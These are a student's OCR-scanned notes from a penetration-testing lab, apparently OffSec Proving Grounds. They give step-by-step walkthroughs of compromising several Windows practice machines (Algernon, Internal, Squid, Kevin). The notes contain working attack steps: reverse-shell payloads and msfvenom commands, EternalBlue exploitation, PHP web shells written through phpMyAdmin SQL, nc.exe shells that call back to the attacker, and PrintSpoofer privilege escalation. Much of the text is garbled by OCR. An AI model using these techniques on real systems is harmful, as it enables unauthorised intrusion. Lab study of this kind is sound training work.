Windows

Algernon [Easy] [10]

Brief:

Done Nmap got 17001 port open searched for exploit and exploited got the shell access.
Location in kali: /home/kali/offsec/pg/Win/Algernon

OS: Windows

Web-Technologies: IIS

IP:

Users:

Credentials:

Ports (Try to list):

21 [ftp Anonymous] -- Find some admin logs..
80 [IIS]

9998([IIS]

PORT STATE SERVICE VERSION

21 /tcp open ftp Microsoft ftpd

| ftp-syst:

|_ SYST: Windows_NT

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20 09:31PM <DIR> ImapRetrieval
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| 01-27-24 04:41AM <DIR> Logs

| 04-29-20 09:31PM <DIR> PopRetrieval
|_04-29-20 09:32PM <DIR> Spool
80/tcp open http Microsoft IIS httpd 10.0

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-11S/10.0

|_http-title: IIS Windows

135/tcp open msrpc Microsoft Windows RPC

139 /tcp open netbios-ssn Microsoft Windows netbios-ssn
445 /tcp open microsoft-ds?

5040/tcp open unknown

7680/tcp open tcpwrapped

9998/tcp open http Microsoft IIS httpd 10.0

| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D

| Content-Type: text/html; charset=us-ascii\x0D

| Server: Microsoft-HTTPAPI/2.0\x0D

| Date: Sat, 27 Jan 2024 12:48:00 GMT\x0D

| Connection: close\x0D

| Content-Length: 326\x0D

| \xOD

| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.0org/TR/html4/
strict.dtd" >\x0D

| <HTML><HEAD><TITLE>Bad Request</TITLE>\x0D

| <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></
HEAD>\x0D

| <BODY><h2>Bad Request - Invalid Verb</h2>\x0D

| <hr><p>HTTP Error 400. The request verb is invalid.</p>\x0D
|_</BODY></HTML>\x0D

| http-title: Site doesn't have a title (text/html; charset=utf-8).

| _Requested resource was /interface/root

|_http-server-header: Microsoft-1IS/10.0

17001/tcp open remoting MS .NET Remoting services

49664 /tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 3:1:1:

|_  Message signing enabled but not required
| smb2-time:

| date: 2024-01-27T12:48:01

|_ start_date: N/A

| _clock-skew: -2s
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Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:
- After observing all the ports and all the things one by one first went to FTP at 21

Nothing at FTP anonymous just only admin logs etc...

- SMB doen't have any permissions ..

- checked the Both IIS but none of them got any results but the 9998 ahving some login
panel Tried some default credetnails but no use.

- At last Check the port 17001 after doing some google research found one exploit.
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port 17001

Images Maps Exploit Tep udp Tep Shopping Videos News

Get an Al-powered overview for this search?

@ SpeedGuide
https://iwww.speedguide.net » port > port=17001

Port 17001 (tcp/udp)

This vulnerability allows remote attackers to abuse your system and discreetly conduct network
port scanning. Victims will then think these scans are ...

Packet Storm Securi
S ty

https://packetstormsecurity.com » files > SmarterMail-...

SmarterMail 6985 Remote Code Execution

9 Dec 2020 — PORT=17001. LHOST="192.168.1.2' LPORT=4444 psh_shell = '$client ...
(PORT)), 'utf-8'") s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

- The same exploit present in exploit DB as : SmarterMail Build 6985 - Remote Code
Execution

Link: https://www.exploit-db.com/exploits/49216 , https://packetstormsecurity.com/files/
160416/SmarterMail-6985-Remote-Code-Execution.html

- Downloaded the exploit using searchsploit .

/home/.../offsec/pg/Win/Algernon
searchsploit -m 49216
Exploit: SmarterMail Build 6985 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/49216
Path: /usr/share/exploitdb/exploits/windows/remote/49216.py
Codes: CVE-2019-7214
Verified: False
File Type: Python script, ASCII text executable, with very long lines (4852)
Copied to: /home/kali/offsec/pg/Win/Algernon/49216.py

Edited the HOST's :

HOST='TARGET_IP'
PORT=17001



https://www.exploit-db.com/exploits/49216
https://packetstormsecurity.com/files/160416/SmarterMail-6985-Remote-Code-Execution.html
https://packetstormsecurity.com/files/160416/SmarterMail-6985-Remote-Code-Execution.html

LHOST='OUR IP'
LPORT=any random Port like 5555

#! /usr/bin/python3

base64
socket
sys
pack

HOST="'192.168.151.65"
PORT=
LHOST="192.168.45.193'
LPORT=

psh_shell = '$client = New-Object System.Net.Sockets.TCPCliel
%{0};while(($1i = $stream.Read($bytes, 0, $bytes.Length)) -ne
= (iex $data 2>81 | Out-String );$sendback2 =$sendback + "PS
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
psh_shell = psh_shell.encode( 'utf-16")[2:] # remove BOM

Now setup a listner at the Kali machine at port 5555
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/home/kali

nc -nlvp 5555
listening on [any] 5555
connect to [192.168.45.215] from (UNKNOWN) [192.168.151.65] 4968
whoami
nt authority\system
PS C:\Windows\system32> cd
PS C:\Windows> cd
PS C:\> cd Users
PS C:\Users> dir

got the proof.txt : 0ec9c3d10a0cc7b792a8393db98f04d0
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= root@kali: /homsd
PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> dir

Directory: C:\Users\Administrator\Desktop

Mode LastWriteTime Length Name

4/29/2020 ; v 1450 Microsoft Edge.lnk
1/27/2024 :24 AV 34 proof.txt

PS C:\Users\Administrator\Desktop> type proof.txt
0ec9c3d10adcc7b792a8393db98f04d0
PS C:\Users\Administrator\Desktop> J}

Internal [Easy] [10]

Brief: Eternal Blue [--script smb-vuln*]
OS: Windows 2008
Web-Technologies:

IP: 192.168.151.40

Users:

Credentials:

Ports (Try to list):

53

135
139
445

the SMB ports are open and the target Version is very old so run the vuln script scan. --
script smb-vuln*

3389
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NMAP Results:

PORT STATE SERVICE VERSION

53/tcp open domain Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008
SP1)

| dns-nsid:

|_ bind.version: Microsoft DNS 6.0.6001 (17714650)

135/tcp open msrpc?

139/tcp open tcpwrapped

445/tcp open tcpwrapped Windows Server (R) 2008 Standard 6001 Service Pack 1
tcpwrapped

3389/tcp open ms-wbt-server?

|_ssl-date: 2024-01-27T17:54:42+00:00; -1s from scanner time.

| ssl-cert: Subject: commonName=internal

| Not valid before: 2023-01-27T15:30:02

|_Not valid after: 2023-07-29T15:30:02

| rdp-ntim-info:

| Target_Name: INTERNAL

| NetBIOS_Domain_Name: INTERNAL

| NetBIOS_Computer_Name: INTERNAL

| DNS_Domain_Name: internal

| DNS_Computer_Name: internal

| Product_Version: 6.0.6001

|_ System_Time: 2024-01-27T17:53:47+00:00

5357/tcp open wsdapi?

49152/tcp open unknown

49153/tcp open unknown

49154 /tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open tcpwrapped

49157/tcp open unknown

49158/tcp open unknown

1 service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.94SVN%I=7%D=1/27%Time=65B542EF%P=x86_64-pc-linux-
gnu%r
SF:(TerminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\0\x08\0\x
SF:02\0\0\0");

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008::sp1, cpe:/
o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: INTERNAL, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:ba:64:03 (VMware)
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|_clock-skew: mean: 1h35m59s, deviation: 3h34m40s, median: -1s
| smb2-security-mode:
| 2:0:2:
|_  Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008
Standard 6.0)
| OS CPE: cpe:/o:microsoft:windows_server_2008::spl
Computer name: internal
NetBIOS computer name: INTERNAL\x00
Workgroup: WORKGROUP\x00
_ System time: 2024-01-27T09:53:47-08:00
smb-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
_ message_signing: disabled (dangerous, but default)
smb2-time:
date: 2024-01-27T17:53:47

I
|
|
I
|
|
I
|
|
I
|
|_ start_date: 2023-02-18T02:15:24

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

- First thing the SMB is open and the b=version of windows: Windows Server (R) 2008
Standard 6001 Service Pack 1 .

- The version is very low let's run the script smb vuln scan.

# nmap -p139,445 -sV --script smb-vuin* 192.168.151.40 --open

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445 /tcp open microsoft-ds Microsoft Windows Server 2008 R2 microsoft-ds (workgroup:
WORKGROUP)

Service Info: Host: INTERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/
o:microsoft:windows_server_2008:r2
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Host script results:

| smb-vuln-cve2009-3103:

| VULNERABLE:

| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)

| State: VULNERABLE

| IDs: CVE:CVE-2009-3103

| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft
Windows Vista Gold, SP1, and SP2,

| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to
execute arbitrary code or cause a

| denial of service (system crash) via an & (ampersand) character in a Process ID High
header field in a NEGOTIATE

| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-
bounds memory location,

| aka "SMBv2 Negotiation Vulnerability."

|
|  Disclosure date: 2009-09-08

| References:

| http://www.cve.mitre.org/cqgi-bin/cvename.cgi?name=CVE-2009-3103
|

I

|

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
smb-vuln-ms10-054: false
smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH

A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-
annacrypt-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|
I
|
|
I
|
|
I
|
| Disclosure date: 2017-03-14
I
|
|
w
|

- You can see iy is vulnerable to smb-vuln-ms17-010 it is quite popular exploit.

- check this exploit : https://github.com/3ndG4me/AutoBlue-MS17-010

- And also check the EJPTv2 notes for manual exploitation.
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://github.com/3ndG4me/AutoBlue-MS17-010

— git clone the AutoBlue-MS17-010
— Navigate to shellcode DIrectory and give executabel permissions and then run it.

— it asks for the LHOST and LPORT for creating the .bin file in x64 and x86

root@kali: /home/kali/offsec/pg/Win/Internal/AutoBlue-MS17-010/shellcode 116x33

/home/../Win/Internal/AutoBlue-MS17-010/shellcode
Ls
eternalblue kshellcode x64.asm eternalblue sc merge.py
eternalblue kshellcode x86.asm shell prep.sh

/home/../Win/Internal/AutoBlue-MS17-010/shellcode
chmod +x shell prep.sh

/home/../Win/Internal/AutoBlue-MS17-010/shellcode
bash shell_prep.sh

1 ' |
1 ' |
1 1 |

RN

Eternal Blue Windows Shellcode Compiler

I
i
i

Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode

Compiling x86 kernel shellcode

kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
Y

LHOST for reverse connection:

192.168.45.187

LPORT you want x64 to listen on:

4444

LPORT you want x86 to listen on:

4444

Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1

Type 0 to generate a staged payload or 1 to generate a stageless payload

1

you can see the x64 and x86 .bin file are created.
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Generating x64 cmd shell (stageless)...

msfvenom -p windows/x64/shell reverse tcp -f raw -o sc x64 msf.bin EXITFUNC=thread LHOST=1
92.168.45.187 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 460 bytes

Saved as: sc x64 msf.bin

Generating x86 cmd shell (stageless)...

msfvenom -p windows/shell reverse tcp -f raw -o sc x86 msf.bin EXITFUNC=thread LHOST=192.1
8.45.187 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 324 bytes

Saved as: sc x86 msf.bin

MERGING SHELLCODE wOO0O0O!!!
DONE

And in the same way we need to open another tab and we have to listen
with netcat

# python eternalblue_exploit7.py 192.168.151.40 shellcode/sc_x86.bin

home/../pg/Win/Internal/AutoBlue-MS17-010
3 eternalblue_exploit7.py 192.168.151.40 shellcode/sc_x86.bin

Pack

/home/../pg/Win/Internal/AutoBlue-MS17-010

we got the proof.txt
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C:\Users\Administrator\Desktop>dir
dir

Volume 1n drive C has no label.
Volume Serial Number is B863-254D

Directory of C:\Users\Administrator\Desktop

02/03/2011 07:51 <DIR>

M
02/03/2011 07:51 PM <DIR>
M

05/20/2016 09:26 32 network-secret.txt
01/27/2024 09:43 AM 34 proof.txt

2 File(s) 66 bytes

2 Dir(s) 3,898,863,616 bytes free

C:\Users\Administrator\Desktop>type proof.txt
type proof.txt

bfc493a546140089abdca5879ecb31ca

WAY - 2:

Refer : https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/windows-
boxes/legacy-writeup-w-o-metasploit#d6e0

But try to preffer WAY - 1 That is good one.

Squid [Easy] [10]
Brief:

— Found the intresting port 3128 running squid proxy
— Google search
— Found articles
— used spose.py to scan internal ports found 8080,3306
— Setup an proxy extention and seen 8080 hosting wampserver
— Got access to phpmyadmin with just root username with no password.
— Written an SQL command and uploaded a uploader.php in the web root directory
— then again upload a msfvenom crafted shell.php and open it got the shell.
— Upgraded it with the nc.exe
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— Got the interactive shell and got the proof.txt
— We will get Privilege Escalation SeImpersonatePrivilge -> Enabled
— Used PrintSpoofer64.exe and get the system access.

0OS: Windows

Web Technologies:
IP: 192.168.151.189
Users:

Credentials:

Ports (Try to list):

3128 - Web page , version also not vulnerable
445

NMAP Results:
PORT  STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

3128/tcp open http-proxy Squid http proxy 4.14
|_http-server-header: squid/4.14

|_http-title: ERROR: The requested URL could not be retrieved
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-time:

| date: 2024-01-28T04:20:28

|_ start_date: N/A

| smb2-security-mode:

| 3:1:1:

|_  Message signing enabled but not required
|_clock-skew: -2s
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Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:
— Firstly went to google and searched for 3128 squid proxy exploits

— Found https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid

Kali | GET/HTTP/1.1 | Squid |
ACK TO |

| Host: http://192.168.57.189:{port} | |
====GSELF===='

AN— T — I —

The suggestion here is that we set the Squid proxy on Kali to act as a pivot point to internal
services and/or ports.

Tool link: [Squid Open Port Scanner]: https://github.com/aancw/spose

#python3 spose.py --proxy http://192.168.151.189:3128 --target
192.168.151.189

ot&S kali /home/../pg/Win/Squid/spose
= spose.py http://192.168.151.189:3128 192.168.151.189
Jsing proxy http://192.168.151.189:3128

192.168.151.189 3306 seems OPEN
192.168.151.189 8080 seems OPEN

you can see the 8080 abd 3306 is open ..

to see this we need to setup a proxy you can make use of the extenstion:
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https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid
http://192.168.57.189:
https://github.com/aancw/spose
https://github.com/aancw/spose
http://10.10.11.131:3128

https://addons.mozilla.org/en-US/firefox/addon/proxy-switcher-and-manager/

and configure it like this:

Define proxy server for each protocol’

| Proxy Switcher

Auto Detect S Zoas | Manual Proxy PAC Script

Profile Name: squid -

HTTP Proxy:  192168.151.189 Port 3178 ®

SSL Proxy: 192.168.151.189 Port 3178 9

FTP Proxy: 0.0.0.0 Port ®

Fallback Proxy: Port

Server Type: @®HTTP  HTTPS (O)SOCKSv4 () SOCKS V5 Remote DNS
No Prompt

Direct: localhost, 127.0.0.1, 192.168.8.0

you also use :

We will configure our browser to use the target ip and port as a proxy
(192.168.151.189:3128) using a plugin called foxyproxy.

like : [if the target IP is 192.168.120.223 and port 3128]

|
"@ Edit Proxy Squid Proxy

Title or Description (optional) Proxy Type
Squid Proxy HTTP .
Color Proxy IP address or DNS name #
Port #

Username (optional)
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and now open :

http://192.168.151.189:8080/ >> wampserver .

http://192.168.151.189:8080/phpmyadmin/ >> Phpmyadmin login panel try with some
default credentials

O A& 192.168.151.189:8080/phpmyadmin/

ploit-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @ Reverse Shell Cheat |

php
Welcome to phpMyAdmin

Language

English v

Login

Username:
Password:

Server Choice: MySQL v

Go

try username root with no password.
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http://192.168.151.189:8080/
http://192.168.151.189:8080/phpmyadmin/

& C @ O A& o+ 192.168.151.189 8080/phpmyadmin/server_databases.php

KaliLinux # Kali Tools Exploit-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @ Reverse Shell CheatS... @

php [fServer: MySQL:3306

y, . Databases || SQL 4, Status 2- User accounts Export
REle0 %6 L) SQL | G — Exp

Current server:

Databases
MySQL v

Recent Favorites 8 Create database @

=
F - e latin1_swedish_ci v Create
-lf-— information_schema
-3 mysq| Database . Collation Action
_l,__ performance_schema information_schema utf8_general _ci a: Check privileges
| N . . .
+-4 sys mysq| latinl_swedish_ci =- Check privileges

performance_schema  utf8 _general_ci a: Check privileges
sys utf8_general_ci =- Check privileges

Total: 4

1 [] Check all With selected: o Drop

you can see we got access.

Squid, acting as a reverse proxy, allows unauthenticated access to an internal Wamp server
and PhpMyAdmin interface. The PhpMyAdmin interface isconfigured with passwordless login
for the root user, allowing an attacker to create files in the web root, which can lead to code
execution.

google search: upload shell via phpmyadmin

upload shell via phpmyadmin

@ Gist
https://gist.github.com > BababaBlue

Uploading Shell via PHPmyadmin

Uploading Shell via PHPmyadmin. GitHub Gist: instantly share code, notes, and snippets.

Link: https://gist.github.com /BababaBlue/71d85a7182993f6b4728c5d6a77e669f

Just navigate to sql tab [http://192.168.151.189:8080/phpmyadmin/server sqgl.php]

enter the following command as shown in the github exploit.
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https://gist.github.com/BababaBlue/71d85a7182993f6b4728c5d6a77e669f
http://192.168.151.189:8080/phpmyadmin/server_sql.php

command:

SELECT

"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\"
name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\"
size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"> </
form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'],
$_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo
\'<b>Upload Failed.</b><br><br>\"; }}?>"

INTO OUTFILE 'C:/wamp/www/uploader.php';

A o~ 192.168.151.189:80 ) nin/server_sql.f 1B0% ¥

OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @ Reverse Shell CheatS... (@) GitHub - pentestmonk...

[Tl Server: MySQL:3306

Charsets & Engines ¥ More

]

Databases || SQL (g, Status =7 Useraccounts —, Export [« Import ° Settings | Replication <¢>| Variables

Run SQL query/queries on server “MySQL": @

1 SELECT
2 "<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\"
name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\"'; if( $_POST[\'_upl\'] == \"Upload\" ) {

if(@copy($ FILES[\'file\'][\'tmp _name\'], $ FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; l}else { echo \'<b>Upload Failed.
</b><br><br>\"'; }}?>"
3 INTO OUTFILE 'C:/wamp/www/uploader.php';

Clear Format Get auto-saved query

(7] Bind parameters &

[ Delimiter |: ] [] Show this query here again [] Retain query box [ Rollback when finished Enable foreign key checks Go

— you can also make use of :

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/wamp/www/
shell.php’;

— click on GO
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O A& 192.168.151.189:8080/phpmyadmin/server_sql.php

-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @) Reverse Shell CheatS... &) GitHub - pentestmonk...

7l Server: MySQL:3306

| Databases || SQL (g, Status =7 Useraccounts =} Export [« Import ° Setting:

Show query box

« MySQL returned an empty result set (i.e. zero rows). (Query took 0.0007 seconds.)

= SELECT "<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\
type=\"file\" name=\"file\" size=\"50\"><input name=\"_ upl\" type=\"submit\" id=\" up
== \"Upload\" ) { if(@copy($ FILES[\'file\'][\'tmp name\'], $ FILES[\'file\'][\'name\
echo \'<b>Upload Failed.</b><br><br>\"'; }}?>" INTO OUTFILE 'C:/wamp/www/uploader.php'

(] Pr

you can see we successfully created the uploader.php in the web root directory.

Now navigate to the http://192.168.151.189:8080 /uploader.php endpoint.

- C @ O A 192.168.151.189

Kali Linux # Kali Tools Exploit-DB OffSec @ Online - Reverse Shell ... Upgrading Shellq

| Browse... | No file selected. | Upload \

(1)

Call Stack
# |Time Memory Function Location
1| 0.0003 406064|{main}() ..\uploader.php:0

Let's try to upload php file and get the reverse shell.
let's build an php shell using msfvenom.

# msfvenom -p php/reverse_php LHOST=192.168.45.250 LPORT=4444 -f raw -0
shell.php
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http://192.168.151.189:8080/uploader.php

root@kali: /home/

/home/../offsec/pg/Win/Squid
# ohp/reverse php LHOST=192.168.45.250 LPORT=4444 raw
[-] No platfor rm w w"rﬁwl (hr [hlIMI Msf::Module::Platform: :PHP from the

[-] No arch selectec :h: ph;) from the payload
No enc oder f::,"ified, ,mt;,)uttlrw raw payload
yload size: 3011 bytes
as: shel ‘,.;,,hp

Now listen via netcat at 4444
After uploading the shell.php file Now open that file:

http://192.168.151.189:8080/shell.php

< X @ Q 192.168.151.189:8
Kali Linux # Kali Tools Exploit-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @
Browse... | No file selected. Upload
Upload Done.

/home/../offsec/pg/Win/Squid
4444

listening on [any] 4444

connect to [192.168.45.250] from (UNKNOWN) [192.168.151.189] 49778
whoami

nt authority\system

We have to upgrade this shell.
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root@kali: /home/kali/offsec/pg q 0 root@kali: /home/kali/offsec/pg/Win/Squid 85x20

home offsec/pg/Win/Squid

the commands are :

cmd> net use z: \\192.168.45.250\test

cmd> Z:\nc.exe 192.168.45.250 5555 -e cmd.exe
and we have to listen at 5555

and before these all we have to setup an smb share
command:

# impacket-smbserver -smb2support test .

And now we got an interactive shell..

Go to the Administrator Desktop and get the proof.txt

Privilege Escalation:
C:\>whoami
whoami

nt authority\system

C:\>whoami /priv
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SeLNangeNOtITYFIIVITEQE as Y, C K
SeUndockPrivilege PrmO/r (umpufwr Tium du(Plnq station Dlsdbled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled

— you can see SeImpersonatePrivilege -> Enabled

— you can use PrintSpooferx64.exe and escalate the privileges.

— Host a Webservice with python and trasffer the PrintSpoofer64.exe to the target machine
commands:

PS C:\> iwr -uri http://192.168.45.250/PrintSpoofer64.exe -Outfile
PrintSpoofer64.exe

PS C:\> .\PrintSpoofer64.exe -i -c powershell.exe

1/28/2024 1:21 AM 27136 PrintSpoofer64.exe

PS C:\> .\PrintSpoofer64.exe -1 -c powershell.exe
.\PrintSpoofer64.exe -i -c powershell.exe

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening..

[+] CreateProcessAsUser() OK

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoaml
whoami

nt authority\3eay

PS C:\Windows\system32>

we also got another flag.. local.txt

PS C:\> type local.txt
type local.txt

df97974a96ed90216bcbhaafe8d830che
PS C:\>
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http://192.168.45.185/PrintSpoofer64.exe

you can see we now have system :)

Kevin [Easy] [10]
Brief:

— Port 80 is open

— HP Power Manager login panel

— tried admin/admin -> got access

— There is a version 4.2

— searched in google for exploit

— got Universal Buffer Overflow exploit for HP Power Manager.

— The exploit code has egg after egg [n00bn00b] we need to replace our payload using
msfvenom that has bad charecters and in Alphanumeric

— Just exploit after this you will get system access[Administrator].

0S: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
Web Technologies:

IP: 192.168.180.45

Users: KEVIN

Credetials:

Ports (Try to list):

80 - [HP Power Manager Access with admin/admin]

# nmap -p- -sV -sC 192.168.180.45 --open
NMAP Results:
PORT  STATE SERVICE VERSION
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80/tcp open http GoAhead WebServer

| http-title: HP Power Manager

|_Requested resource was http://192.168.180.45/index.asp
|_http-server-header: GoAhead-Webs

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup:
WORKGROUP)

3389/tcp open ssl/ms-wbt-server?

| ssl-cert: Subject: commonName=kevin

| Not valid before: 2024-01-27T09:37:49

|_Not valid after: 2024-07-28T09:37:49

|_ssl-date: 2024-01-28T09:45:47+00:00; -1s from scanner time.
3573/tcp open tag-ups-17?

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open unknown
49154 /tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open unknown
49160/tcp open msrpc Microsoft Windows RPC

Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 2:1:0:

|_  Message signing enabled but not required

|_clock-skew: mean: 1h59m59s, deviation: 4h00m00s, median: -1s

| smb2-time:

| date: 2024-01-28T09:45:22

|_ start_date: 2024-01-28T09:38:34

|_nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:ba:eb:ae (VMware)

| smb-os-discovery:

| OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)

| OS CPE: cpe:/o:microsoft:windows_7::-

| Computer name: kevin

| NetBIOS computer name: KEVIN\x00

| Workgroup: WORKGROUP\x00

|_ System time: 2024-01-28T01:45:22-08:00
| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)
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http://192.168.180.45/index.asp

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— Open the port 80 http://192.168.180.45/index.asp

O A& 192.168.180.45/index.a

-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @ Reverse Shell CheatS... (@ GitHub - pentestmonk...

HP Power Manager

Login Name | |

Password | |

| Submit Login |

— Try admin/admin — Got access.

O A& 192.168.180.45

-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @ Reverse Shell CheatS... (@ GitHub - pentestmonk...

>wer Manager

Setup Help

About HP Power Manager

HP Power Manager 4.2 (Build 7)

HP Power Manager is an advanced, user definable UPS management and mor
serially attached HP branded UPS products. It has been designed to provide in
conditions, health and status of your UPS and power environment.

HP Power Manager can be customized to set alarms, each with its own set of L
including e-mail notifications, SNMP alerts, logging, broadcast messages and g
shutdowns.

For additional information and updates on this and other HP UPS solutions, visi
www.hp.com/products/UPS.

Thank you for choosing HP products for your IT infrastructure needs.
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http://192.168.180.45/index.asp

— you can see ther version is disclosed.

— Started with checking some google exploits.

# searchsploit HP Power Manager

— Got one exploit: 10099 [Universal Buffer Overfolw Exploit]

— Analyse the Code:

41 SHELL = (
42 "n00bnoOb"

you can see after n00bn00b the payload is there so we have to replace that with our
payload.

Now we need to use the msf venom in the exploit code only the bad charecters are given and
we have to sue the alpha numeric.
[https://www.offsec.com/metasploit-unleashed/alphanumeric-shellcode/]

command:
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# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.185 LPORT=80 -f
c-b
"\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2
c\x2e\x24\x25\x1a" -e x86/alpha_mixed

Now just Copy that code and replace after n0Obn00Ob

"n00bn0ObL"

we sucessfully replaced :)
Now go listen at 80 using netcat and run this python script.

# python 10099.py 192.168.180.45

/home/../offsec/pg/Win/Kevin
10099.py 192.168.180.45

We got System access as administrator .

We also got the proof.txt
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C:\Users\Administrator\Desktop>type proof.txt

type proof.txt
95e0d4566812b0a7c64b64c5b2714ec5

proof.txt: 95e0d4566812b0a7c64b64c5b2714ec5
— Privilege Escalation:

No need we got system access.

Helpdesk [Easy] [10]

Brief:
— Port 8080 is open and running login panel ManageEngine ServiceDesk Plus 7.6.0
— the version is vulnerable to authenticated file upload CVE-2014-5301 RCE

OS: Windows

Web Technologies: apache tomcat
IP: 192.168.180.43

Users:

Credentials:

Ports (Try to list):

8080 [http] - ManageEngine ServiceDesk Plus - got access to admin panel with default
credetials [administrator/administrator]

PORT  STATE SERVICE VERSION
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135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

